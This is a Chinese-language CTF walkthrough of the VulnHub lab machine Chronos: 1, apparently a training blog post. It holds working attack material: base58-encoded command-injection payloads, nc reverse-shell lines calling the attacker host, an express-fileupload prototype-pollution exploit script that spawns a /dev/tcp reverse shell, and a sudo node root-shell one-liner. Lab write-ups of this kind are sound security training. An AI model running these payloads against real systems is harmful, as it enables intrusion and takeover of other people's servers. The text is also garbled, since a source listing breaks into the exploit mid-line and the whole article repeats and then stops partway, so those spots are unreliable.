03版本打靶活动,大家一起来吗?

2026-05-17 03:101阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计5690个文字,预计阅读时间需要23分钟。

03版本打靶活动,大家一起来吗?

0x00+靶机介绍+靶机地址:Chronos: 1 ~ VulnHub 难度级别:中(构思非常巧妙)+推荐虚拟机:VirtualBox 0x01+内容简介+涉及的攻击方法+端口扫描+WEB嗅探+命令注入+数据解码+搜索大法+框架漏洞

0x00 靶机介绍

靶机地址:Chronos: 1 ~ VulnHub

难度等级:中(构思非常巧妙)

推荐虚拟机:VirtualBox

0x01 内容简介
  • 涉及的攻击方法

    • 端口扫描
    • WEB侦查
    • 命令注入
    • 数据编解码
    • 搜索大法
    • 框架漏洞利用
    • 代码审计
    • NC串联
    • 本地提权
  • 简介

    本课我完整介绍了自己的打靶过程,以及面对每个困难时的思路和反映。在面对自身技术弱点的情况下,我通过搜索大法和自己快速的学习能力,终于成功完成了这次打靶,并收获了作者埋下的一个小小彩蛋。希望你能从本课的内容受益!

  • 打靶目标

    • 取得 2 个 flag + root 权限
0x02 环境搭建

下载好靶机.ova文件后导入到VirtualBox中即可

确保靶机和kali在同一网段中

kali IP地址:10.0.2.7

0x03 主机发现

本次主机发现使用netdiscover这个工具

这款工具与arp-scanarping原理都是相同的,都是通过发送arp广播数据包来进行主机发现,只是命令的使用格式不一样

对kali所在网段10.0.2.0/24进行扫描,有个使用netdiscover小建议,将真实的子网掩码位数减8作为要扫描的子网掩码位数,这样设置在实际使用中对地址发现的速度、效率、最终效果都会更好一些

执行命令:sudo netdiscover -r 10.0.2.0/16

10.0.2.1-3这三个IP是虚拟机软件为了完成基本功能所使用到的IP,所以一定不是靶机IP,故10.0.2.9就为靶机的IP

10.0.2.9进行全端口的扫描

执行命令:sudo nmap -p- 10.0.2.9

继续对22808000端口进行服务版本的发现

执行命令:sudo nmap -p22,80,8000 -sV 10.0.2.9

扫描结果显示

  • 22端口,开放的是OpenSSH 7.6p1这个版本的的SSH服务,且目标靶机的操作系统可能是Ubuntu
  • 80端口,开放的是Apache web应用,再次验证目标靶机的操作系统可能是Ubuntu
  • 8000端口,开放的是10.0.2.9

    可以看到这个页面非常的简单

    针对web应用进行渗透时,通常会有一些惯例性的做法,比如两种常规操作

    1. 对web应用进行爬站,将隐藏的路径,隐藏的文件爬出来
    2. ctrl+u或者在浏览器页面上查看当前页面的源码,查看可能会有的隐藏元素、接口、脚本等

    查看页面源码

    并没有查看到更多的url地址和页面资源,但是发现了一段JS脚本,这段脚本似乎在预示着什么,应该是在页面上执行某些功能,通常会预期通过这段脚本发现调用的某些后端接口

    0x05 数据编解码

    将脚本内容粘贴出来,看看能否读懂在干什么

    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

    很明显,这段脚本的内容似乎都是经过了编码处理,导致很难从语义,函数名称等等角度来读懂这段代码的含义

    遇到这种情况,一般会对JS代码进行美化、还原、整理操作

    接下来介绍一款非常强大的针对计算机各种数据类型进行编解码、还原、解密、解压等等相关操作的工具,即CyberChef

    网站地址:CyberChef (gchq.github.io),而且还可以下载下来在本机上运行,使用浏览器来打开使用

    JS代码粘贴到输入框中,选择JavaScript Beautify模块

    美化后的结果

    var _0x5bdf = [ '150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', '797116soVTES', 'onreadystatechange', 'chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 'getElementById', 'innerHTML', 'date' ]; (function (_0x506b95, _0x817e36) { var _0x244260 = _0x432d; while (!![]) { try { var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132)); if (_0x35824b === _0x817e36) break; else _0x506b95['push'](_0x506b95['shift']()); } catch (_0x3fb1dc) { _0x506b95['push'](_0x506b95['shift']()); } } }(_0x5bdf, 831262)); function _0x432d(_0x16bd66, _0x33ffa9) { return _0x432d = function (_0x5bdf82, _0x432dc8) { _0x5bdf82 = _0x5bdf82 - 126; var _0x4da6e8 = _0x5bdf[_0x5bdf82]; return _0x4da6e8; }, _0x432d(_0x16bd66, _0x33ffa9); } function loadDoc() { var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest(); _0x2beb35[_0x17df92(137)] = function () { var _0x146f5d = _0x17df92; this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]); }, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send'](); }

    发现美化后的代码还是比较难读,函数的名称依旧是经过编码处理的,若想要完全读懂这段代码的含义,理想上还是得将这些函数名称编码转换回来,当然利用CyberChef是可以做到的;不过从渗透高效的角度来说,应该重点关注这段代码中比较容易识别且一眼看上去就很可疑的内容

    这段代码中绝大多数内容都是经过编码的不太好读,但是有一处明文的url地址,即chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

    分析这段url,它的主机名是chronos就是这台靶机的名称,local的意思是本地,恰巧靶机上的8000端口运行着10.0.2.9,查看是否有通过刚刚这个url地址加载其他的数据,从而导致前端页面或者源码发生变化

    发现真的在前端页面上多出了一段内容,接下来就应当打开burpsuite,利用burpsuite的代理截断功能,在重新加载页面的时候,截获所有的网络流量,分析一下整个的通信过程,加载了哪些资源,访问了哪些地址

    0x06 命令注入

    打开burpsuite,关闭截断功能,配置浏览器代理,重新访问页面

    burpsuiteHTTP history中可以看到,浏览器首先以GET方式请求了根路径,接着以OPTIONSGET方式请求了刚刚在JS脚本中的url地址,并且在GET请求的响应数据是当前时间,再定睛一看,这个响应结果就是浏览器中多出来的内容

    将最后一个GET请求包发送到Repeter模块中,快捷键Ctrl+R或者右键选择Send to Repeter

    这个时候应该问自己一个问题:为什么当浏览器发送这样的chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL中的date查询参数,非常像Linux中的date命令

    比方说命令:date '+Today is %A, %B %d, %Y %H:%M:%S.'

    %A : 星期几 (Sunday..Saturday) %B : 月份 (January..December) %d : 日 (01..31) %Y : 完整年份 (0000..9999) %H : 小时(00..23) %M : 分钟(00..59) %S : 秒(00..61)

    参考链接:Linux date命令 | 菜鸟教程 (runoob.com)

    当产生这个怀疑并进行简单测试之后,初步推测:当访问这段chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL地址时,服务端执行的就是Linux date系统命令,如果执行的是系统指令,那么就应该可以通过诸如,管道符||&&来注入更多的命令,从而实现反弹shell

    首先构造Payloads,进行base58编码后提交到服务端,验证猜想,Payloads如下

    && ls

    编码后

    5Jdixo4

    5Jdixo4作为参数值提交到服务端

    返回的结果列出了当前目录下的文件,真的有命令注入漏洞

    0x07 NC反弹Shell

    既然验证出了有命令注入漏洞,就应当利用这个漏洞来反弹shell

    命令注入漏洞反弹shell时首选nc,因为nc的适用范围特别广,如果目标靶机上存在nc的话就不用再花时间上传别的工具上去,直接通过nc反弹shell

    查看目标靶机是否存在nc

    Payloads base58编码后 && ls /bin/nc 4BJ88AkbuHSuYTck2e

    返回的结果显示出现了一些错误,可是命令明明是对的,ls在之前的验证当中也是可以正常运行的

    再次构造Payloads

    Payloads base58编码后 && ls /bin 39JyvVr3FjbwAV

    提交数据到服务端(注意:提交之前需要重启靶机,否则由于刚刚的错误可能触发了目标靶机某些运行环境的改变,造成此url不再返回数据)

    这次运行成功,首先看到目标靶机有bash,所以在反弹shell时可以选择它

    搜索是否存在nc

    结果显示目标靶机上是存在nc

    测试此nc是否可以正常运行,是否能够建立基本连接

    先在kali上侦听4444端口

    执行命令:nc -nvlp 4444

    构造Payloads

    Payloads base58编码后 && nc 10.0.2.8 4444 7z53yRw7rBpK6bZzzLiu6mzbEs

    响应的结果说发生了一些错误,但是连接已经成功建立了,说明目标靶机上存在nc且可以正常建立连接

    测试此nc带不带-e参数,如果有直接利用-e参数反弹shell,如果没有则利用靶机02中的方法NC串联反弹shell

    在kali端重新侦听4444端口

    构造Payloads

    Payloads base58编码后 && nc 10.0.2.7 4444 -e /bin/bash 3ZvDHzaCGqZ8QHRSqqWgqs2zWPV699tYwn7v3v5BUKUj

    发现连基本的TCP连接都没有建立,更别说反弹shell

    基本可以判断目标靶机上的nc不带-e参数

    不得不选择NC串联方法来反弹shell

    在kali端侦听44445555端口

    构造Payloads

    Payloads base58编码后 && nc 10.0.2.7 4444 |/bin/bash |nc 10.0.2.7 5555 UGDw4GJJkFbTzqwn2PUpPJ9J8Ffdzg6USGexPydruuoMUnYCVbKud1J9MaiMMCREZZAU

    反弹shell成功,由于利用的是web服务器上的命令注入漏洞获取到的shell,所以默认所处的路径应该是当前web应用所在的应用程序放置路径

    0x08 信息收集

    在当前目录下并没有看到可能是flag的文件,接下来就需要去找到这些flag

    在这个阶段就需要在目标靶机上进行大量的信息收集,查看目标靶机上存在哪些用户账号以及所有的敏感目录,在敏感目录下是否包含一些看似是flag的文件

    查看所有的用户账号

    利用nc在目标靶机上执行命令:cat /etc/passwd

    查看到目标靶机上存在可以登录的imera账号

    去这个账号的主目录下看看都有什么文件

    发现这个目录下存在user.txt这个看起来就很像flag的文件,遗憾的是这个文件仅有属主具有读写权限

    0x09 失败的提权尝试

    既然没有权限读取内容,那么接下来的目标就很明确,就是要把自己提升为imera账号权限,甚至是root账号权限

    Linux系统中常见的三种提权方法

    1. 内核漏洞提权
    2. SUID配置错误提权
    3. sudo提权

    尝试使用内核漏洞提权

    查看目标靶机的内核版本

    针对内核版本4.15在网上寻找已知的内核漏洞提权的工具和代码,一无所获

    尝试使用SUID配置错误提权

    在目标靶机上寻找SUID权限配置错误,一无所获

    尝试使用sudo提权

    当前账号www-data的权限非常低,没有sudo的权限

    至此,提权的进展遇到了一些困境

    0x0a express-fileupload提权

    这样的困境在真实的渗透测试过程中都会遇到,当自己惯用的方法针对当前系统无效时,必须要寻找新的出路

    如何寻找新的出路呢?

    最重要的无外乎就是在目标系统上进行大量的信息收集,渗透测试的经验越丰富越发现,信息收集其实才是渗透测试过程中最最关键的环节,当把目标系统上的信息尽量完整的收集到之后,自然而然就会产生很多的漏洞利用攻击思路或手段

    思路来源于大量的,完善的信息收集

    通过在目标靶机上进行了大量的信息收集,查看系统文件目录等,经过一番折腾之后最终发现在web应用的根目录即/opt/chronos存在突破点

    /opt/chronos下存放着web应用服务端的代码

    但是这个web应用服务端程序是通过Node.js使用JavaScript语言来开发的

    作为渗透测试者经常会面对这样的情况,遇到自己压根不熟悉的技术;这个时候就要求我们具备快速的学习能力,利用最短的时间上网搜索,吸收知识,了解这种技术最核心,本质的实现原理

    经过一天左右的搜索,最终发现存在于目标靶机上Node.js的漏洞,并利用这个漏洞成功的进行了提权

    Node.js最初由个人开发,现在交于Node.js基金会来进行维护

    简单的说 Node.js 就是运行在服务端的 JavaScript。

    Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。

    Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

    基于Node.js开发应用程序通常都会基于已有的框架和库,例如Socket.ioExpressAxios,而针对web应用开发的话最常用的就是Express

    尝试对目标靶机的web应用进行代码审计

    每个基于Node.js开发项目的根目录下面,一般都有一个package.json文件,定义了这个项目所需要的各种模块,以及项目的配置信息(比如名称、版本、许可证等元数据)。npm install命令根据这个配置文件,自动下载所需的模块,也就是配置项目所需的运行和开发环境。

    参考链接:package.json文件 -- JavaScript 标准参考教程(alpha) (ruanyifeng.com)

    查看package.json文件内容

    果然这个web应用使用的是Express框架来开发的,于是就从网上进行了大量的搜索,搜索Express框架是否存在已知的漏洞,一无所获

    继续查看web应用后端主文件app.js内容

    // created by alienum for Penetration Testing // 加载用到的库 const express = require('express'); const { exec } = require("child_process"); const bs58 = require('bs58'); const app = express(); // web应用运行在8000端口,与nmap扫描结果相印证 const port = 8000; const cors = require('cors'); app.use(cors()); // 路由的配置 app.get('/', (req,res) =>{ res.sendFile("/var/www/html/index.html"); }); // 路由的配置 app.get('/date', (req, res) => { var agent = req.headers['user-agent']; // Linux date命令 var cmd = 'date '; // 提取请求url中的format查询参数的值 const format = req.query.format; // 进行base58解码 const bytes = bs58.decode(format); var decoded = bytes.toString(); // 拼接完整date命令 var concat = cmd.concat(decoded); // 到这里发现从客户端提交上来的数据没有进行任何的消毒,过滤,直接进行了拼接,也验证了命令注入漏洞的原理 // 如果p6.is:7777', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command # p6.is:7777是要攻击的web应用的服务地址和端口 requests.get('p6.is:7777')

    将其中的地址和端口改成正确的

    import requests cmd = 'bash -c "bash -i &> /dev/tcp/10.0.2.7/4444 0>&1"' # pollute requests.post('127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command requests.get('127.0.0.1:8080')

    首先在kali上创建这个文件,保存为exp.py

    由于web应用监听的是127.0.0.1:8080,所以在kali上启动http服务将这个文件传输到目标靶机上,在目标靶机上利用wget下载文件

    在kali端侦听4444端口

    在目标靶机上执行exp.py

    03版本打靶活动,大家一起来吗?

    成功在kali上获得到了反弹shell,长长的出了口气

    提权获取的账号是imera,而在之前的信息收集中又发现在这个用户目录下存在一个类似flag的文件user.txt

    看起来一定是flag的内容了

    0x0b sudo+Node.js提权

    根据靶机作者的描述在root用户目录下还存放着一个flag文件,尝试进入root用户目录查看文件类型

    发现没有权限,不得不面临着第二次的提权

    尝试使用sudo提权

    发现有可乘之机,框框中的两行表示在不需要密码的情况下就能以root权限运行npmnode这两个命令

    通过网上搜索,寻找到了这么一段Payloads

    # 通过调用node生成一个子进程,而在这个子进程中执行的就是/bin/bash sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

    可喜可贺,取得了root权限的shell

    查看flag文件

    收获到root账号下的flag,本次打靶圆满完成!

    0x0c 总结
    • 打靶过程图片概述

      ![靶机+03](一起来打靶 03.assets/靶机+03.png)

    • 打靶过程文字概述

      1. 先做了主机发现、端口扫描、应用发现等基本操作

      2. web页面源码中发现了个奇怪的域名,通过hosts文件绑定域名和IP之后,发现了页面中的某些变化

      3. 通过对url中参数值进行base58解码分析,得到了一个命令注入漏洞,通过构造Payloads并进行base58编码后,成功利用这个命令注入漏洞获取了一个基础的nc反弹shell

      4. 在这台靶机上收获flag以及提权的过程中遇到了很多的困难,最终通过代码审计+搜索大法找到了web应用使用到的一个模块的漏洞,成功提权

        最近这些年在互联网上爆出了很多很多的漏洞,其中相当大比例都是开源的框架上的漏洞;现在绝大多数的系统都是基于现成的框架/CMS/模块开发出来,所以若一个框架/CMS/模块在世界上的应用很广泛,一旦这个框架/CMS/模块出现问题,那么受到攻击威胁的服务器也会非常多

      5. 再次通过sudo提权,拿到了root权限的shell

    • 打靶过程对应的视频链接:点击查看

本文共计5690个文字,预计阅读时间需要23分钟。

03版本打靶活动,大家一起来吗?

0x00+靶机介绍+靶机地址:Chronos: 1 ~ VulnHub 难度级别:中(构思非常巧妙)+推荐虚拟机:VirtualBox 0x01+内容简介+涉及的攻击方法+端口扫描+WEB嗅探+命令注入+数据解码+搜索大法+框架漏洞

0x00 靶机介绍

靶机地址:Chronos: 1 ~ VulnHub

难度等级:中(构思非常巧妙)

推荐虚拟机:VirtualBox

0x01 内容简介
  • 涉及的攻击方法

    • 端口扫描
    • WEB侦查
    • 命令注入
    • 数据编解码
    • 搜索大法
    • 框架漏洞利用
    • 代码审计
    • NC串联
    • 本地提权
  • 简介

    本课我完整介绍了自己的打靶过程,以及面对每个困难时的思路和反映。在面对自身技术弱点的情况下,我通过搜索大法和自己快速的学习能力,终于成功完成了这次打靶,并收获了作者埋下的一个小小彩蛋。希望你能从本课的内容受益!

  • 打靶目标

    • 取得 2 个 flag + root 权限
0x02 环境搭建

下载好靶机.ova文件后导入到VirtualBox中即可

确保靶机和kali在同一网段中

kali IP地址:10.0.2.7

0x03 主机发现

本次主机发现使用netdiscover这个工具

这款工具与arp-scanarping原理都是相同的,都是通过发送arp广播数据包来进行主机发现,只是命令的使用格式不一样

对kali所在网段10.0.2.0/24进行扫描,有个使用netdiscover小建议,将真实的子网掩码位数减8作为要扫描的子网掩码位数,这样设置在实际使用中对地址发现的速度、效率、最终效果都会更好一些

执行命令:sudo netdiscover -r 10.0.2.0/16

10.0.2.1-3这三个IP是虚拟机软件为了完成基本功能所使用到的IP,所以一定不是靶机IP,故10.0.2.9就为靶机的IP

10.0.2.9进行全端口的扫描

执行命令:sudo nmap -p- 10.0.2.9

继续对22808000端口进行服务版本的发现

执行命令:sudo nmap -p22,80,8000 -sV 10.0.2.9

扫描结果显示

  • 22端口,开放的是OpenSSH 7.6p1这个版本的的SSH服务,且目标靶机的操作系统可能是Ubuntu
  • 80端口,开放的是Apache web应用,再次验证目标靶机的操作系统可能是Ubuntu
  • 8000端口,开放的是10.0.2.9

    可以看到这个页面非常的简单

    针对web应用进行渗透时,通常会有一些惯例性的做法,比如两种常规操作

    1. 对web应用进行爬站,将隐藏的路径,隐藏的文件爬出来
    2. ctrl+u或者在浏览器页面上查看当前页面的源码,查看可能会有的隐藏元素、接口、脚本等

    查看页面源码

    并没有查看到更多的url地址和页面资源,但是发现了一段JS脚本,这段脚本似乎在预示着什么,应该是在页面上执行某些功能,通常会预期通过这段脚本发现调用的某些后端接口

    0x05 数据编解码

    将脚本内容粘贴出来,看看能否读懂在干什么

    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

    很明显,这段脚本的内容似乎都是经过了编码处理,导致很难从语义,函数名称等等角度来读懂这段代码的含义

    遇到这种情况,一般会对JS代码进行美化、还原、整理操作

    接下来介绍一款非常强大的针对计算机各种数据类型进行编解码、还原、解密、解压等等相关操作的工具,即CyberChef

    网站地址:CyberChef (gchq.github.io),而且还可以下载下来在本机上运行,使用浏览器来打开使用

    JS代码粘贴到输入框中,选择JavaScript Beautify模块

    美化后的结果

    var _0x5bdf = [ '150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', '797116soVTES', 'onreadystatechange', 'chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 'getElementById', 'innerHTML', 'date' ]; (function (_0x506b95, _0x817e36) { var _0x244260 = _0x432d; while (!![]) { try { var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132)); if (_0x35824b === _0x817e36) break; else _0x506b95['push'](_0x506b95['shift']()); } catch (_0x3fb1dc) { _0x506b95['push'](_0x506b95['shift']()); } } }(_0x5bdf, 831262)); function _0x432d(_0x16bd66, _0x33ffa9) { return _0x432d = function (_0x5bdf82, _0x432dc8) { _0x5bdf82 = _0x5bdf82 - 126; var _0x4da6e8 = _0x5bdf[_0x5bdf82]; return _0x4da6e8; }, _0x432d(_0x16bd66, _0x33ffa9); } function loadDoc() { var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest(); _0x2beb35[_0x17df92(137)] = function () { var _0x146f5d = _0x17df92; this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]); }, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send'](); }

    发现美化后的代码还是比较难读,函数的名称依旧是经过编码处理的,若想要完全读懂这段代码的含义,理想上还是得将这些函数名称编码转换回来,当然利用CyberChef是可以做到的;不过从渗透高效的角度来说,应该重点关注这段代码中比较容易识别且一眼看上去就很可疑的内容

    这段代码中绝大多数内容都是经过编码的不太好读,但是有一处明文的url地址,即chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

    分析这段url,它的主机名是chronos就是这台靶机的名称,local的意思是本地,恰巧靶机上的8000端口运行着10.0.2.9,查看是否有通过刚刚这个url地址加载其他的数据,从而导致前端页面或者源码发生变化

    发现真的在前端页面上多出了一段内容,接下来就应当打开burpsuite,利用burpsuite的代理截断功能,在重新加载页面的时候,截获所有的网络流量,分析一下整个的通信过程,加载了哪些资源,访问了哪些地址

    0x06 命令注入

    打开burpsuite,关闭截断功能,配置浏览器代理,重新访问页面

    burpsuiteHTTP history中可以看到,浏览器首先以GET方式请求了根路径,接着以OPTIONSGET方式请求了刚刚在JS脚本中的url地址,并且在GET请求的响应数据是当前时间,再定睛一看,这个响应结果就是浏览器中多出来的内容

    将最后一个GET请求包发送到Repeter模块中,快捷键Ctrl+R或者右键选择Send to Repeter

    这个时候应该问自己一个问题:为什么当浏览器发送这样的chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL中的date查询参数,非常像Linux中的date命令

    比方说命令:date '+Today is %A, %B %d, %Y %H:%M:%S.'

    %A : 星期几 (Sunday..Saturday) %B : 月份 (January..December) %d : 日 (01..31) %Y : 完整年份 (0000..9999) %H : 小时(00..23) %M : 分钟(00..59) %S : 秒(00..61)

    参考链接:Linux date命令 | 菜鸟教程 (runoob.com)

    当产生这个怀疑并进行简单测试之后,初步推测:当访问这段chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL地址时,服务端执行的就是Linux date系统命令,如果执行的是系统指令,那么就应该可以通过诸如,管道符||&&来注入更多的命令,从而实现反弹shell

    首先构造Payloads,进行base58编码后提交到服务端,验证猜想,Payloads如下

    && ls

    编码后

    5Jdixo4

    5Jdixo4作为参数值提交到服务端

    返回的结果列出了当前目录下的文件,真的有命令注入漏洞

    0x07 NC反弹Shell

    既然验证出了有命令注入漏洞,就应当利用这个漏洞来反弹shell

    命令注入漏洞反弹shell时首选nc,因为nc的适用范围特别广,如果目标靶机上存在nc的话就不用再花时间上传别的工具上去,直接通过nc反弹shell

    查看目标靶机是否存在nc

    Payloads base58编码后 && ls /bin/nc 4BJ88AkbuHSuYTck2e

    返回的结果显示出现了一些错误,可是命令明明是对的,ls在之前的验证当中也是可以正常运行的

    再次构造Payloads

    Payloads base58编码后 && ls /bin 39JyvVr3FjbwAV

    提交数据到服务端(注意:提交之前需要重启靶机,否则由于刚刚的错误可能触发了目标靶机某些运行环境的改变,造成此url不再返回数据)

    这次运行成功,首先看到目标靶机有bash,所以在反弹shell时可以选择它

    搜索是否存在nc

    结果显示目标靶机上是存在nc

    测试此nc是否可以正常运行,是否能够建立基本连接

    先在kali上侦听4444端口

    执行命令:nc -nvlp 4444

    构造Payloads

    Payloads base58编码后 && nc 10.0.2.8 4444 7z53yRw7rBpK6bZzzLiu6mzbEs

    响应的结果说发生了一些错误,但是连接已经成功建立了,说明目标靶机上存在nc且可以正常建立连接

    测试此nc带不带-e参数,如果有直接利用-e参数反弹shell,如果没有则利用靶机02中的方法NC串联反弹shell

    在kali端重新侦听4444端口

    构造Payloads

    Payloads base58编码后 && nc 10.0.2.7 4444 -e /bin/bash 3ZvDHzaCGqZ8QHRSqqWgqs2zWPV699tYwn7v3v5BUKUj

    发现连基本的TCP连接都没有建立,更别说反弹shell

    基本可以判断目标靶机上的nc不带-e参数

    不得不选择NC串联方法来反弹shell

    在kali端侦听44445555端口

    构造Payloads

    Payloads base58编码后 && nc 10.0.2.7 4444 |/bin/bash |nc 10.0.2.7 5555 UGDw4GJJkFbTzqwn2PUpPJ9J8Ffdzg6USGexPydruuoMUnYCVbKud1J9MaiMMCREZZAU

    反弹shell成功,由于利用的是web服务器上的命令注入漏洞获取到的shell,所以默认所处的路径应该是当前web应用所在的应用程序放置路径

    0x08 信息收集

    在当前目录下并没有看到可能是flag的文件,接下来就需要去找到这些flag

    在这个阶段就需要在目标靶机上进行大量的信息收集,查看目标靶机上存在哪些用户账号以及所有的敏感目录,在敏感目录下是否包含一些看似是flag的文件

    查看所有的用户账号

    利用nc在目标靶机上执行命令:cat /etc/passwd

    查看到目标靶机上存在可以登录的imera账号

    去这个账号的主目录下看看都有什么文件

    发现这个目录下存在user.txt这个看起来就很像flag的文件,遗憾的是这个文件仅有属主具有读写权限

    0x09 失败的提权尝试

    既然没有权限读取内容,那么接下来的目标就很明确,就是要把自己提升为imera账号权限,甚至是root账号权限

    Linux系统中常见的三种提权方法

    1. 内核漏洞提权
    2. SUID配置错误提权
    3. sudo提权

    尝试使用内核漏洞提权

    查看目标靶机的内核版本

    针对内核版本4.15在网上寻找已知的内核漏洞提权的工具和代码,一无所获

    尝试使用SUID配置错误提权

    在目标靶机上寻找SUID权限配置错误,一无所获

    尝试使用sudo提权

    当前账号www-data的权限非常低,没有sudo的权限

    至此,提权的进展遇到了一些困境

    0x0a express-fileupload提权

